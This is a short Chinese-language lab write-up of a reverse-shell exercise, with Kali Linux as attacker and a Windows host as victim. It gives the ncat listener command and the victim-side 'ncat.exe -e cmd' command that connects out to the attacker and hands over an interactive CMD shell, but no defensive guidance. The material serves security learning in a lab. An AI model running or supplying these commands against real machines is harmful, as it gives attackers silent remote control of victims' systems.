实验概述

  • 攻击机：Kali Linux（网卡：桥接模式）
  • 受害机：Windows 宿主机
  • 工具：Nmap-ncat（替代 Netcat）
  • 网络：同一局域网、互相可 ping 通

成因

  • 防火墙默认拦截入站连接，正向连接无法成功
  • 出站连接放行，所以使用反向反弹 Shell
  • 受害机主动发起连接，攻击机本地监听
  • ncat 的 -e 参数：连接成功后绑定系统终端

攻击链路

攻击端（Kali）

查看攻击机 IP 地址：

ifconfig

开启监听：

nc -lvvp 5566

受害端（Windows）

切换到 Nmap 所在目录：

cd "xxx\Nmap"

执行反弹命令：

ncat.exe -e cmd （kaliIP） 5566

注：（kaliIP） 为原文占位符，需替换为攻击机实际 IP。

实验现象

  • Kali 监听端口等待连接
  • Windows 执行命令后无弹窗、无提示
  • Kali 直接获得 Windows 交互式 CMD
  • 可执行 whoami、ipconfig、dir 等系统指令

说明：原文在 ifconfig、监听、目录切换、反弹命令与 whoami 演示处共附 8 张幕布截图；截图未随源文件提供，本文不插入图片，仅保留对应命令与现象描述。

痕迹与防御

原文仅包含实验环境、原理、操作命令与实验现象，未提供痕迹分析与防御建议，本文不补充推断。

实验声明：所有实验均在本人拥有完全授权的自建隔离靶场中完成，仅用于网络安全技术学习与防御研究。